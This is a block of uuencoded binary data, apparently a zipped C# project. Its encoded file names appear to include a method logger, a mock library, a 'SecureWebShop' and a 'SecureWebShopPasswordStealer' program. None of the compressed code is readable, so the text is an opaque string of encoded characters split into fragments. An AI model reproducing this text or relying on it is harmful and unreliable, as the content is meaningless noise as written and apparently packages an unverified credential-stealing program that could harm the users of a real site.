M6(D^E5QR5?)F)*^;<<<IBLM#3;6"HKN&NC0I.2EP&$)BU.M[R++Z"XSS;A.3 M'':Y;>;!6\=?7‑Z,)Y>GSUY`[CU<#`Z&4MY@98K:FXU:AP8\&$P2S8TX2:)> MJ=E@)RBM\$[+9`GOU]I]D4IV`8G,$‑4A4J(C8P#1D!2(_Y)(O;N7/^&[V@@; M%VS\DW.M&`1T292‑\6Q%URLBE1!E91]F9?F]Y'‑(8$,P_CW$<HNF+4XJ4`TO MBF5@+&H0$L9#U3>`L]`RS](E`9Q‑"6B<WR8G)Y,16T7]S4%Q66[A\:<>`0?Y M3G#0M56=^KLCYH!NDYA$^0W1[`(LY3UP4_!'<++.;F>BV6RU5O1U!')H;&UR M+H>WR=L;\‑$LIM@5W5Y?WZG:KFI1V/*;FCT+J(?T60R1&#PATKXR‑O"HNK3K

M=<'4@"*1,KT!SV`3KC'GGC7JO7FB9_YD[4P8.\?XF9‑T?.@821PT)U]U!<,0 M$SWO9TF\EB39;@&KZ<W;/_>)'@[(.B=?.1=DN`/7/))B+8R#,!JF3#/‑NB;+ M<:\M>N$‑Q@W>L.!5;<]0]+6^(4J9W`QX1(0;)1&+!!%"^TQ2IKN`WHYT;W`V MV'6X3O$Z7C7:?9>,'L[.1B.?'!T=D?<M$'L`8C,(IBRYAI@G\Q6#N;N[_(9! M!#F]‑!H>][_C'/HC$*+[@;GSZ0)L+(7\7P234=Z4I`0‑JP6,!IP<%78'(DMC MY:3`E!J<_B*/1`";EC@/BZ6`J^%@1>@JR:,)T&:@QZ)‑EHB0[[JB$#^<\3X'

M$"Q/`WJ@9=‑Q$5IM+6D(O^W(UW‑RL,UM(C!YHP5O[G:6[&ZT!`*DM_BB=Q=+ MW,J[WNCA77^_(T4WR,$A6%H&Y5]ML`:!.F^HSEOSL`_‑VEI;B\`"M4]0ZNTK M8:H2S_C9E.`G,KSX‑H<%XFZ2(8U\@M`JV17Z$6[=B1SV`,$?>1FJ;(>J<)(C MG=?9C[3;4+^(ZF86Y=`_K9;N[*!%%)"1?@C/:7'+9KZKKOJI3?AX&S/EN]$A M;V_HBV$Q0":'‑B+R9I>'>MQ9O9HE`KS>O)@GMF["#Q2PH!]Q/XP.K]8!<'AI M.Z`LU3D$;ZM5(GZ@S+`D(,5[8Q_NRY7S‑IBCRO7!3$"3B%"//M!X(=,/=E]R

MR6UG:ND2B.^%_O22CIG6H="]C@,‑>2G0K,EJ9UKE4<R)%S%H45:=79@+‑L"N M5+\3\PCT+2#YAX;6]9!I]G#ZZ7$>083;3‑)+Q>55&MQ_E2'`)#_C%Y"XM@@* M'6^I:D@"(SFT;LIT?+4/UT'!]")$S$!YY,I7&>>C(('00;G$+85KC%+?QSF4 M:ZC59=7@A*D@_::"O$;>AH4"!1GU‑ZY@RO9Z,"Z!\X5P?0T#U]2>":!S@)`W M\221LU>L7H$))MK;7ELB^SXK@#?*$O++GV@O/),JWQ%K5O/68Y9`9H&!T‑GX MALSX_69XOQ)CUIR!]SZ4+.,$\!!B]/#VR,=`>M1WE177@7._CY;0!\@7#7D+ MG'6,Q!%ZAW%/*N<T<P@!Y‑\5KT‑QM4.U%[[$@7U‑0;!/'Z#HQDAX>7I#]L(1

M6FO9N(0=52'9^^#=_H4SQJIF?V?G%I`LIB'8_)VD9`5E.S&4W^.\WIGFY73G MK;UTE'[PWMYNE$[?>?_MZ=O1[MO)NQ_LOO7.E$;O)4F\N_=!^MX[[^PT=;P# M'6M</<NK.IR]>O[6KMF0L47F8‑L:,07F;3B]H9Z<J4Y#/;=4'‑J:IA.=P1Q! M@2P8H:DL'RQ9@L"QK2?YD&Y!)YE??*]8?0"69W(N:[10.#H%B,[=$5>%NI@! MI;A'#SL/\?L"SR5KHZ:J$^N+V(3'4[J!Y_XZZ$)12:ME$':PO>+EFV3!]:'7 MJJ['=%,O6RSVBS^.89`C]W4&+@A;%](Q‑XN<K3^G,D^NZI)1X;X/%4&C%2OI MG!LV;:'P\8O4$]EVO\#TG:^^UW3P2+[*:K:(<DF+)9^!)$OA#HBF.;P:?W+Z MXMGI^.3K9Y.;TX"\;FS)7W.7^[2XR^JRP"H:?OO`O.U=?T43M\LJ;*]BU[VA M:NL:[5%@<K8M?RH%TZ_ZL6F‑$0?KJDQWZ(FR`@%0G<&7.84H:<[+>MG=6HH] MG95`GGI<&KA]/L:U>(WKCYM6B=,?B`SX;Q,V"?‑YC:[K+S:@'.9&)I3/'#*B M\K5M1O\JDZF!NT93O5YA‑G???8)14^!<P^F^^N‑8_H6FD^_]?^/YYXVGJRKF MX,LO_4>,)19M2HPB"_J@<KR_UJP*:$EI99/F]S:\[]!>%S&N@QA?YFPI>5G; M;!>K5C?;Q5]`ZI36@@(#F0=V,S=&]HGQ>$*!877$6<_7P\[W)0<"V&+]6<8P MO]‑C.N?#J:;5[WSY$P@Q`70<QAD\!'+R:0%YFP*H!H590(.FWM@?:_+O6N$& M*E17<)/(*<C59U%Q2SW[\Z>`[$()R&_3YN'$5V_']3?&5H>36‑7;<82N_;;* M>6‑?:9QW/KB";HOQW$I2ER#?'X0)S#V#=!9Z*]R29`U^`M`_'5'?(;Z$IA%X M`.BTP3/_,L"9W_LI#8*V2O(`[@E?69JW$)0N;?;]Q`K7KR]4ZQ+6VL]K.VU^ M<MC_L=J*Q;W?1V]ZPP‑T;]4ECJ?FBK=8X4`"RD)==LB7ZJ;‑6C[H)I%1KUJY M:_DI6'<;PQ>Z7(P9+#5A=:2^C[5AYXK7WW.1J_,#^JPRX2K1BZH*F,W/;YC' MXG@3*(R*XMKABJYA0&QAZ>5(IT^YBKQ%!8VZKMT;)C+FE/5V6`)[!RM08KF7 M*"<KVF1&<;UWW08UXJ"_F>Z0YG0,UBN0S!PT=[GU0SWB_2#.F?7A,IM776.P M$<^S_(+.8>XGQ_(&U#@'G^<APD`‑"@6YR@I56W5_;OGV8%O`QMN#D+B(U>*6 MEK<I$'#2"$C%;[%F[HK3US?/:=$L^&5@4<4#K_D@;@`U`)=_9X>7[F!:N;B= MB7!$U5<U%/DURGVIKQ‑A*5'?DEF[EXOH@5\9@IWT#>M$:W>TJ<A8X;<9)'6> MU/SU4‑OOX_L1.A9(?]$'[P9!&T'4BNAII./NM946)\14_RP`GI\51EKAHPP2 MC<#0#0BE=`Z'O.‑$ADH>_TI3?`\BFN2`4/_S(_+C.!U8ZA"‑`\'VI‑!Y"YXMR?=_!U!+`P04``````!Y6(9+````````````````$0```$%N871H96UA+TU, M;V=G97(O4$L#!!0````(`'E8ADMSG*9QB````+H````;````06YA=&AE;6$O M34QO9V=E<B]!<'`N8V]N9FEG78[+"L(P$$7W@O\0LM9&1<1%TJYTZ4+$?6C3 M$FH>3&:JGV]**T)G‑Y?#N5=6'_=B@X%D@U=\7^PX,[X.C?6=XH3M]LRK<KV2 M=?"M[0@T9C`'+)],J`$IEFSZIXQB#("FN9‑'Z\Q?/AQ'>^I)\>)V>5Q!._,.

MT&^>,Y&!4W'@XJ<7LW_L%\L!7U!+`P04````"`!Y6(9+L)1CP=@!``"N!0`` M)P```$%N871H96UA+TU,;V=G97(O365T:&]D3&]G9V5R36]N:71O<BYC<Z54 MP6[;,`R]!\@_<#[):&%T.S;H@+5#AP'),"P9=BAZ4&S:T6I)GB2O*P)_V0[] MI/Y"Z3BQ4\M`@I8(8I$B^?A(24__'TLK5`;S!^M03L:C?36ZTGF.L1‑:V>@+ M*C0B[KM,A?K3M_W`=!O6WUG@/^?95@9Y0H9HP>V=I>WQ2'&)MN`QPFRJLPSM>+0>CX"D*)>YB"'.N;4P0[?22>,QTTHX;1JOK7,7,.3*&MLEMPCR%/3R‑Q5] M<PO<9#9L$K2Y.A$I,`GO+D"5>=ZZ=:X]^<L‑%‑P0'X?&P@5(ZJ3[WEI8..F' M#"=)">X;!6U2?$9J@*&>+1X*C*YW6R<01`']RZA6)WZB*YJDSC'Z981#%MR< MW,+ZK&+!:9L^G!SB,'<U,)6A\!X:Y;(4>8*&U<%^>*IIP/$*V(L\(%2G[/K= M;Z8O7B'1IZ)`E5QK([DC)C6A<UB_KVC9^F[ZL:^W`Z`&#G*N=DSZL_?PIZ@R MMX*/</9Z$D/=])$6NEFP,)J72]NL/X2#Y1^8O9>\&YU_V,7NIGU5J3Z>Y`M`

M>B?HP(5P#O4!96POH0SIQ7"E4?4LCB2#N<4W%1(<`51U‑[*/??#>#V#^5'=*

MWX/<,(>8T]N:>&546[RNHNV'?L]02P,$%`````@`>5B&2[$‑‑REQ!```A`T` M`!\```!!;F%T:&5M82]‑3&]G9V5R+TU,;V=G97(N8W‑P<F]JO5?;;M‑`$'U' MXA\6"ZD@83OW..`8A2242A2JI%P>\K*VQZFIO6MVU]!P^3(>^"1^@;%CQTY3 M0I"`AS;R[,R9Z\[,_OCVW7Y\%4?D`P@9<C;4FD9#(\`\[H=L.=12%>B6]MBY M?<L^$_P=>(J<<Q[)UQO^3B8P@8"FD3JG8@E*#K4G:1CY&D%DAE\72B4/35‑Z M%Q!3:<2A)[CD@3(\'IL^?("()R#,6+J9F‑EJ‑‑H::B3$/HD3+A0I5`^UN_=. MYSGV]$H!RRR09U1=W%]L#NK6W5^<;E2‑>1QS9B2")U(C8\[\4.4.3*]"J>2] MH[\#?71?(^;:]C.1>:56QX*G24Y"(BH.PF4J:*:\;@9!`[8.[Q^1X9`<'1'MF8";+FUSZ[@$/(NH"KB(KV.5]!K,B*W&9Z]LLSPJ(,K$'J>A[WSNMOJ‑=J?? MT5M=:ZIW^N.)/AHU&GJKT6NTK'&[U7IJ?46,2J:$>9FJ)%7GJP2<Z1789O5= M<HR29`(R7#(03WGD@W"*&(4@;7/GM!2;<:Y>T!AD0CUP3I_SY1*$;=;)E0HI M(7:C5790L=:H&\YUK3X52/K(Q6615^=#Q^@9+=N\^;@4?AI&,(K0UAB8<KIM%‑@B;<Q)%3\&](@J>!*R[$[‑P`\%ADXZ2J08IGTLO[`5HQ:@MK+0S.U*VRV^ M_77V9:=8\GK[LBX7+)SKI;:V9E‑.V^22.<>8KV*71Z6G==(66UXC01I%!4^] M9EXF*HS#3WA.(XD@Y?=VU64WU7%#MLCE%\BV(5>:@I`!NBX591C:R?3)J^‑' MY[/1>(IJMP]+F:D07,P@ZT$.7N\X4;99HY5L;ZA@F+;G62=S.K99_]Y40A3Q MCZ^8I`$\B;AW609EA_Z/<CJ#"*B$OY'5/#V)[W(6K?9D+'/P]PDK[#HH9?\G

M63?&_D1!O‑7(9Q"`P#D)Y(1Y4>K#4)NO)')A__\M#XX,`0<QOHTCXWG(WA_$

M/*&*YO_FH*HIME^T‑L;F%U0D!RLZB/$%*..94H>AHJ_:IJ=E`=\7_S$F.(SJ

MCH"ZX/ZZXY]R%BHN#"]S_I<2F.8EMM3?<Q4C:E&.D1,6<)0ZW‑@7G‑40<=`9 M7GY=#T<HYNT‑P3.,Q71NC!A5V7:55]8.P0AD@@#EG:_PG,]NN^5U>M32VZ[; MU3N‑IJ4/V@‑?M]J6U^ZW>P/J]JIY7P'DH_2Z'MNL3UCSNM%_[,PSSB]W"'N< M\5O=7L‑M4[UO^:[>L7"‑&;B#IC[H>]U^‑_`;O6;K(&<R/7_;F5G*L!/"3;0] M+C6I#[V!U=9[_6"@=WI!1Z=>&Y,4=/LMJ^LU/+]_D$MK50>E:+<<=]?P:B4N MUN3KC<10^>2H;LD=7<>W`XGQ91&LR(JG@N3[/D'7/9#R`:&^OZ8K*B])B.W+ M!\(9_@4$G2`%(G$!9R:AS"<IPR=$MG"14!FD=)Z\1&Y!),Z=B`H"92LD"0\9 MRD.V\C\@$H#L;/&%#@.QRKV+9!'#‑PT$6.+KETT1IF(X[O*.`@7B5ZRZCC]5 MRGX"4$L#!!0````(`'E8ADM]%IY"Y````"D!```D````06YA=&AE;6$O34QO M9V=E<B]‑3&]G9V5R+F‑S<')O:BYU<V5R58]‑:L,P$(7WA=Y!B("312WW9U&* M[1`2Z*I@Z,_>D<>*BJ0QTB@DD)MUT2/U"I63$,ARYLU\[[V_G]]ROK.&;<$' MC:[B]WG!&3B)G7:JXI'ZNV<^KV]ORL;C‑TAB'X@F?%WNG\:'A'"AXANBX46( M(#=@VY!;+3T&["F7:$4'6S`X@!<VK*,VG7@HBD>>T(PE^*C0_M5C'‑@27:?I MR,\FTS3U6D7?CIO983)M3$L]>CO+6%6Q;`7KJ`X+MU\VG]F)EXCOU'I:>!4M M.`KU&ZAV%6TRR6$'I;B63R'$58JQLSB7KO\!4$L#!!0````(`'E8ADL4#B?M``0``‑4+```;````06YA=&AE;6$O34QO9V=E<B]0<F]G<F%M+F‑SK59+;]‑` M$+Y7RG\8<F'#PSR.E!P"22$H#1&)Q*&JT&)/DH7U;MA=IUBHOXP#/XF_P*R? MB9VT!;&JZGAVWM\\_/OGK\0*M8+1/!@H[M88\^"MUE]/.R?MBP^)<B+&ZFZ> M6H=QXS5XK:7$T`FM;/`&%1H1‑EG&[YN4B5#?FK0/N"P4‑6_F&"9&N#28&:%"

ML>&RR;%8&^01$8Y>!`MNOUJZ[IPH'J/=\!#A?*)7*S2=DQ]`IW/B_X>26PLS

MHU>&QSGI!SV*LTD^2Q&"==S1X[/6$L9V$,5"">L,=]JP7LY="=;'H$N,`J;P M"CX*%>DK6T7$"L(X0N5\K&_0O4Z,H3?6ZQ4ZVR<8V['ZH"66\J\2(5U."O;\ MZIW6.JX[)_7+DR<P7^M$1F`2!5?"K6%/$#9&;(7$%=I:Z&*^&.2YO:R(9582 M9?D28:M%!.=<*$:*"(&+2^!F98^G1RR!W6MEL^*O91KG‑96>#_<CU0A292'K MCA5H$Z$!IT$HNZ&Z`DU5[8/1(5J+%E*=0)Q8Y\,N*P&XW0^^6Z>M/B.U%4:K MF+`)1M^%8X^?56QUAMO!^?"#":H5I;C?AZ?_%‑I,(K<(/B:Q3(%#,!TM8)/7 MZTZ\_\WS+3>P)/Q]VT`?9C0=?'&>)5+ZWUE4%T\O24\;S3.2\X:LLZS4\1>( MCHS19C?XL](/I1TL=:*B%]"%AY5_=XOY^:TQ4T\XDX+4/`(N)0RH8F+J?+1$ M"[G#B‑(,5%`0YCT*D3"4=&W25O(R;(;"[.1N6#)/R6=6*,]:?O2=9IVC;BF) MK!=,R*(?BPVO*7[JOW`‑K$3(^U2ISC`BHF6%_4?0?1!$4G;O`$#ETH0RX+5D MZ!U(&QPY[2SP0B7T#VBO\;M9"2J"9:8%);Q?:0Q&%?7T`)#AFJL5@BRRZ`M3 MH9\!W*3'W;P)L)+G*#(U"/‑JBE<TMF.B=\!AW\#.)+Y>V^Z9?">3:WZ)%!MZ

M*&B=N9#&&R.%+9DOPOD=7\B\R]\.<J[I8H@TZKDK362\A57:]?&&D#I'M]91 M0T%I)AB3^]0SF>"NPB9_4;4.S32?+#6XP1!I#?NEL4@W&/A1XWF"^492_]X/ M[O=HX#34E3X.HN@LT\H<R>HER[W‑Y_NY5L+OPD<[EH_%,7?<.'8((1)6%&%*

M2&WU5ZQ+&PXT/S=D@TS9O0A]4<VJ*W9H>‑:2]$F6WF41[G?(@.9R`>(\7\"5 MQG(+53G<GRKY1!$D_/24'B^A)4CDAP\+AYI.M4_#J0MQ2:J[PR2.TT^T/3[Y M"?XF$5$PQ2O_I)FWT+G/K#NM%MG‑HV<WN>,,%Z:H;AYE"7C_^0LU'WV!_&@F MZ/J6H8;2XJV)OZ/IZUOWSK%*U!O6^'XK'O3W!U!+`P04``````!Y6(9+```` M````````````'````$%N871H96UA+TU,;V=G97(O4')O<&5R=&EE<R]02P,$ M%`````@`>5B&2RVG+@!T`@``D@4``"L```!!;F%T:&5M82]‑3&]G9V5R+U!R M;W!E<G1I97,O07‑S96UB;'E);F9O+F‑SA53‑;M‑`$+Y7ZCN,<FFH2.JZ+:G* M"5)11:*`VE()(0YK>];>=KUK[4^*'XEGX(#$"_$*S&[<.!$)L0\>SW[[S3>> M;_WGYR]OA2KAMK4.Z_$‑<HFY$UJ]WM];7_'*B1K'4UTW0J*Y13,7.=IMN)ER M:'2S`MO?.SJ"*U1HF(29XMK4+%0"EFGO@%%@+=:9;$%8R+5R1DN)!;C*:%]6 M]$3@E‑)/H5ZDL^A`<V#.&9%YAW8,TXJI$@/88K\`<R8]6G`::ET(WD8VT:L(

M=$&`S@5S5/1)N&I5TWA_[^MS?`%ONNA..(G#P?5[799H!B^^;41=HLV‑:$*9 MX6`;:*H5%Z4W;!>L;IAJMP,^&5WXW.T4‑=5‑:T19$7(9PN\?`&ER/‑FVZ<ZP M`FMF'O\CT$OG#49`‑_1;="Z,C+3?"RLRB6$.G$F:4,T>PU@J2K4‑14+1B["] M%Y1V,.]V!;:P=?KQ&G+Z$%JA<C1SF'%HM0>%6(1UEI/EB"‑R_DO)C:XC5R!Z

M&4P4!?3R>M\$‑F<\@@XDS$7&=2_TVX:QI67;=VM^O?H\NPS&)L?%:O2F^;)Q M*3(0?*&S,?J!#F$`X_=&6RRZGM?*7GE1#`=GZ20Y.9V<CM*S<QR=3O)BQ%B2 MC‑+D59*>YR=IRL_[0=RCL>2N5=\'/:L^#P?/"NMLIZ[O@")ONG‑T$>@B9;RN MV0.Q=.PK::'Z‑/3YMU[(`C[X.D/39V]P+I[WQ^P7FFA.TFR#>3BQ3$I2M#S* M1‑UVB`(Y(]N%U04Y=50L";M*=J$@:R'^L"+XX/"`.@=;Z2<%&5*C%Q&TP===

M&\/!\3@9'\9ON@,5[FVX=_0/W8C]"U!+`P04``````!Y6(9+```````````` M````%0```$%N871H96UA+TUO8VM,:6)R87)Y+U!+`P04````"`!Y6(9+2CKQ MOY\````&`0``'P```$%N871H96UA+TUO8VM,:6)R87)Y+T‑L87‑S97,N8W‑E MCDT*PD`,A?<#<X<L%:2@6Y<NW%1<M!=(QZ"QTVF=M&`IGLR%1_(*3OVAI89` M\M[[`GG>'XVP.T+22DW%6JNQC#:EM61J+IU$6W+DV4R1F‑UEZJ5TK?^\DR<\ M!"‑*47()L58."Y(*#<&N‑'G,F4??:M5I!:&J)K‑LP%@4@82+RM*FWS_I%QK` M,3+;9^?P‑^!R`;]U‑1\N.KB]13]"OP!02P,$%`````@`>5B&2Y*.^M&N`P`` MX`H``"<```!!;F%T:&5M82]‑;V‑K3&EB<F%R>2]‑;V‑K3&EB<F%R>2YC<W!R M;VK%5MMNTT`0?4?B'Q8+*50B‑I2T!'",0BY0B4*4E,M#7C;V.%G8B]E=TYK+ ME_'`)_$+C!T[<1K:Y`%$I"3RS)DSNS/CF?GUXZ?_]$)P\AFT84IVG/ON/8>` M#%7$Y+SCI#9NMIVGP<T;_DBK#Q!:<J84‑V]7^%9NT(>8IMR>43T':SK.LY3Q MR"'(+/%I86WRV/‑,N`!!C2M8J)51L75#);P(/@‑7"6A/F%ENYAW>N_?`08^$ M^"<B4=J2TG7'N7WG=%)P#RXLR/P$9D3MXF"Z4M1/=S`]7;GJ*2&4=!.M$N.0 MGI(1L\4%!A?,6'.G\7>H&P<.\99G'^G\5C9[KE6:%"(4HN.8S5‑‑<^?U8Q`\ MP(;RH$$Z'=)H$"?HPRR=^]Z&NB(<<6ICI<5EKDI>H^G*K#=ZXWN5JJ2H$OL\ M95'PM?7PT?%P\+#7'+;[1\W6_?YQL_UH>‑1L#P^[[<‑GQX^.^KWOR+&VJ6A> MIS9)[5F60/"2S335F>^M916JFR1],&PN00\5CT`'99P8&‑_;TE9F8Z7L*RK` M)#2$X%2%'U<^ZJJU&V‑`S'B&BDOPFF:%7M;M4*/H7.F/98Z#SRWWV#WTO3^K

M*^,AX]#E>&8!T@9']]%@0W2%$[QVC+"J6KS‑<MFNH.N+Y=M6QHNB^;;,.6:_ M.D4AGF1BAK4<6)V"[]5%&[`B;W'*>8FIY_%U8IE@7U!/N4&2ZGFS&O(W*)@Q M.2WLIPA;B=>>8B8!;V,LE=8$_<&S‑\^?G(V[O0&ZW516‑@.ME1Y#WAL"?.U$ M8GVO)JM@[ZB6V,5>YATF:/E>_?D?17T,'*B!==RW`YI$,R5Y=DU,\[SL#FGI M:J^@_L=PGE@0&RUP##%HG#!`3F3(TP@ZSB0SB,+.N1.#S5;#7L!W3$;JW+A# M3([9R^*]X.Y+)C_M!>Y32XN?"=CUQ+C>M#8R)@NJD[T=[05\!=9]8>U^K'A7 M9]5Z\A1=E[$>E@3C‑9(>I]A%C1OF%[X2=9H‑9"IV@B98[:'=`9O0[`5PKG;` MUK‑D6O7Y$QFKW>23%.WV\3!A(N$0Y@'8A;38),)>A=R.]I4KSGK=*%>0RX7C MVF*6K$EO‑9NXEQ&!6UN<D4REFA2[%,'7.01C[A(:14NYI>8C85BN$1`E\1L3 MNP!2,I(9+F/GA,J(I!+7LWR`$69=@FZ6G]>(UL1@9^)4$ZA*GR2*2;2'?)VZ M2PP`V=J02A\N<E7CD.1C&/=%B/&]7FZ‑99B6^F`;VXTMZ*N@S2;^K=:3X#=0 M2P,$%`````@`>5B&2R!L:'.+````[````!X```!!;F%T:&5M82]‑;V‑K3&EB M<F%R>2]‑>45N=6TN8W‑ERC$*`C$0!=`^D#OD`+*@EI8B‑KN5B_T8!PV;3#23 M@$$\F85'\@I&UD*RGX'AOYGW\Y78T$GM,D=T*RG^:[/VUJ*.QA,W6R0,1M<O MK:%K;3W>XL3.`>%8H.F!!RYG*0@<\@4TJL[KH36'`"%+<9="E2`EI[J\*6N$ MK_^R!YMP/JM@4<‑R[`\IRGP`4$L#!!0````(`'E8ADM_1#%>N````'8!```@ M````06YA=&AE;6$O36]C:TQI8G)A<GDO37E3=')U8W0N8W‑E3DL.PB`0W9‑P M!Y::F%Z@<>7"C5VU%Z!THJ04$*:)C?%D+CR25Y`6^[%.2&9X[\U[\WZ^6B_U MF>6=1VA22I;?Y&"4`H'2:)\<08.38BTY27U=8P7<\`^[..!5`)*"^]H'FA+‑

M&_"6"V"9$?5)EHZ[CI([)2R4;4LE!?/H6H$LZ_)AB‑Q7LI!5)G1@‑IP(Z<S. M)OTM*%'U[)J?W#>CS6Y:V4;QF#I7S&)[9M,??$CI<5S@CS#&%MX'4$L#!!0` M`````'E8ADL````````````````@````06YA=&AE;6$O36]C:TQI8G)A<GDO M4')O<&5R=&EE<R]02P,$%`````@`>5B&2S‑FQ.!W`@``F@4``"\```!!;F%T

M:&5M82]‑;V‑K3&EB<F%R>2]0<F]P97)T:65S+T%S<V5M8FQY26YF;RYC<XU4 MVV[30!!]K]1_&.6EH2+I1;VDY0E2446B@‑I2"2$>UO9L/.UZU]I+BC^);^`! MB1_B%YC=N'$B$HK]X/'LV3‑G/&?]^\?/X$A/X:9Q'JOA‑4J%N2>C7VUOK:X$ M[:G"X=A4‑2FT‑VAGE*/;A)MHC];42[#MK;T]N$2‑5BB8:&EL)6(E$)D)'@0'

MSF&5J0;(06ZTMT8I+,"7UH1IR4\$R2GS&.LE.H<>C`3AO:4L>'1#&)="3S&" M'78+,!,JH`‑OH#(%R2:Q4:<BTD4!)B?AN>@C^7)9TW![Z\M3?`ZOV^B6O,)^ M[\KD#^\HL\(VO1=?UR(OT.66ZEBJW]L$&ALM:1JL>`Y6U4(WFP$?K2E"[O]+ MV‑C4C:5IR>A%"+^^`QSN'YQNVG1K18&5L`__$!F4#Q83H!W^#7H?1\?Z[\A1 MIC#.0PK%DZK$0QQ/R:FFYH@TOY#K/*&‑AUF[*[+%K>,/5Y#SQS`:M>?9PT1"

M8P)HQ"*NBYRMQQR)\V]*:4V5N"+1RVBF)*"3U_DGLGD;$$PD$3XQKGJBV]9/ M+2W:OEWQ[>6GR44T.#LO5>,W(Q>‑*\J`Y%QG;<T]'\8(QF^U<5BT/:^4O0Q4 M]'M'IV<G$D_S@1P5QX.C@^)D,#J3QX.1/!2CP^SD[+C(NT'<H77LL&7_1SW+ M?H\'T)'SKE77=<!1L.UY.H]TB3)=5^*>65KVI33I+@U=_DT@5<#[4&5HN^PU MSNAI?\I^YHGF+,W5F,>3*Y1B18LCS=1‑BRA0"K9=7)V3<T?%@K"MY.8*L@;2 MCRN!=W9WN'‑PI7G4D"$W>IY`:WS=MM'O'0SWA[OIFSZ#BO<FW%O^EZ[%_@%0 M2P,$%`````@`>5B&2T6Y?CRR`0``W`0``"````!!;F%T:&5M82]‑;V‑K3&EB M<F%R>2]387E(96QL;RYC<Z53W6K;,!2^‑_@=S@P#AP73]G(A‑\NZ'VA86<)V M,<8X<0^I%D7RCF2O)N3)>M%'ZBM4LMPT=6A26E](Z/Q\WZ>CS[?7‑Z41:@Z3 MVEA:#N)H^YB‑M)246Z&5R3Z3(A9YM^1,J'_=V)2N[$[LD@DO7"";HED8EXXC MA4LR!>8$8YTOSL2,D>LX6L41N*\H9U+DD$LT!B98?R$I=4BU%4T5BPHMP<2R M9_OC$`W.J<'W^2VDC]KM!.>LBV‑8P9SL`(Q?UKO%&\*T!;97MA>*‑@(>O@H9

MD+F&(2CZ#]]F?]W4?OUV),E(H$[Z<‑S?RJ0]6`\>(]A+8;)[\0[&T3U4>(%/ MWOB3YB7:<>A,G];(9$M6;5<6NM*DN2.LCM9ODOYC$;T7\;?!XA4ZX!T4S]82 M'JL2;$N44&EQ`9."<)'N?ZS‑H`‑/9X:=MQDY^VM)V4\6EIS?*7VFK`_:M:&" MK^:T(I6V_E/[I;$W$;R%$Q@.X>B@E"2`)XV6W3'S?HEA8N?N#SM5Y7+/T+Y3 M3J*BIFI<^RW[@;*DDX,V:1AVVX&VR0[>TK>\!^\‑RJ8ZF"?M=<B;S2]QY$YW M4$L#!!0````(`'E8ADN%1I4O`0$``!X"```E````06YA=&AE;6$O36]C:TQI M8G)A<GDO4V%Y4W5P97)(96QL;RYC<W6/2T[#,!"&]Y%RAUD&%44(=A16+`"I MK‑(]FCH#'<6UP]B)&B%.QH(C<06<5Y,6&%F:]_^‑OS^_*L?F%;+&>=HMXVB> MIG=6:U*>K7'I/1D25J<C*S9OI[4U[?VOVE8(\U!(U^@*%]IQ9'!'KD1%\&15 ML>*‑H#1Q]!Y'$*RL‑IH5*(W.089‑5I4D#Z2UA>LV[\)^=‑CHMH1K]`2/QE]= MPK/G@.A@;7.2/19,^NEN^!PR+^WA?N_/`FF#CI(V[B4.N,G\EEW:D^`61N+8 M_?@#;FL2X9R@MIQ#5A(6R?_Z+U8@J5&`@_S%,KB;.3,4%HO#]J1P;‑T_T@$U MGC>=.`L'%]X/4$L#!!0````(`'E8ADMB`X!T_0```$8"```C````06YA=&AE M;6$O36]C:TQI8G)A<GDO4VEM<&QE8VQA<W,N8W‑]4<UJPS`,O@?R#J:GE$%> M(.P4V'9H3PGL.%17M*:.W4E*:!A[LAWV2'N%.4O:‑"FK,‑B6OA\)_7Q]UVS< M3A4M"U99'%U_T]Q;BUJ,=YP^HT,R>@Y9&?<^SY5XDIO<GA"V(9&6P`<.Y3AR M4"$?0:‑:>WU8F0T!M7'T$4<JQ+'>6*.5ML"L2F3)NU=?&R!7L$*H<WL+B@P[ M#/ISR*B1#&`YR;)'733'D+WA]"RG'CMP‑B(^)_ID&A`\]_#DJ0)9]\SD?P=" MJ<FIQ0M:Z]5"/4P])VZWTS3>;%4![1_[CDL#I"Y3]`ZS!K,I(0_;]A;35S*" M8;V8#/3EM*/A"N<74$L#!!0````(`'E8ADO!.J?2OP$``$$&```C````06YA

M=&AE;6$O36]C:TQI8G)A<GDO4W1A=&EC0VQA<W,N8W/‑5,M.XS`4W4?*/UQE

MY6I&F6G*S$A3S0(Z")`H(!*))7*=*VH:[&*[0*CZ92SX)'Z!FR8E)142@0U6 M'O;U.?=Q_'AZ>)Q9J2X@SJW#J[[OK0_#@<XR%$YJ9<,]5&BD:$(.I;INVA*\ M<QNVL4&>DB%,N)U8FO8]Q:_03KE`&&HQ.90CPTWN>W/?`VK3V2B3`BSR#%,0

M&;<68L>=%(.B7X(J[#I^"8$;+5,8HAOKM,LZ‑6I.;S&JVX"JTQF&9T8ZI'*0

M!<=&7JS(0:=?XQ>^]XZ`$3L>79)NH‑<#MXD:_84`OH$.$QT[0ZJQ3OLT>JSD M@NY^AP/E>A'HZ*,9]:J,NO0)RF[TJ>RBH5;2:8/IUU!KB[4/'R?;ITG%AZUJ MI]3‑F7QEJ‑TVV@TW<(]&P[]RB<(3;BSY_UEYVT1+@G;AQY+5;P)>4Q:OAX([ M,8;YF^7L'OU?+P86[])P1Y,OKBKFKP_(6#$W*C;H9D:1C#‑LO9R_S[<;F31U

M'&.6Z>550H(JO(68Y_N%C07+7S.=%\<[K*:VWV<%?Q6IS.'‑‑,OI,)XBG[#V MD?ZP81Z3>'2T;*M%.:%['LLS9<‑I,6@$KW[T/`‑02P,$%```````>5B&2P`` M`````````````!<```!!;F%T:&5M82]396‑U<F5796)3:&]P+U!+`P04```` M``!Y6(9+````````````````)@```$%N871H96UA+U‑E8W5R95=E8E‑H;W!0 M87‑S=V]R9%‑T96%L97(O4$L#!!0````(`'E8ADMSG*9QB````+H````P```` M06YA=&AE;6$O4V5C=7)E5V5B4VAO<%!A<W‑W;W)D4W1E86QE<B]!<'`N8V]N M9FEG78[+"L(P$$7W@O\0LM9&1<1%TJYTZ4+$?6C3$FH>3&:JGV]**T)G‑Y?# MN5=6'_=B@X%D@U=\7^PX,[X.C?6=XH3M]LRK<KV2=?"M[0@T9C`'+)],J`$I MEFSZIXQB#("FN9‑'Z\Q?/AQ'>^I)\>)V>5Q!._,.T&^>,Y&!4W'@XJ<7LW_L M%\L!7U!+`P04````"`!Y6(9+HYA$7)@"``!>!P``,````$%N871H96UA+U‑E M8W5R95=E8E‑H;W!087‑S=V]R9%‑T96%L97(O4')O9W)A;2YC<Y552VX;,0S=

M&_`=6&\R1@TUV3;HPDF:3]$$09PBB\`+>4Q[E&BDJ:1):J0^61<]4J]0:KZ9

